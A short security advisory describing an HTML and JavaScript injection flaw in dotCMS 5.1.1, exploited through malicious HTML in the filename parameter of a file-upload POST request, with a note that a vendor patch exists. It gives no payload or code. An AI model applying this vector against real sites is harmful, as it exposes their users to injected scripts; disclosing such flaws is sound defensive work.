dotCMS 5.1.1 – HTML Injection

A vulnerability in dotCMS 5.1.1 allows an attacker to inject malicious HTML and JavaScript code into the application.

The vulnerability is due to insufficient validation of user-supplied input when uploading files. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request with malicious HTML code in the filename parameter.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of dotCMS.
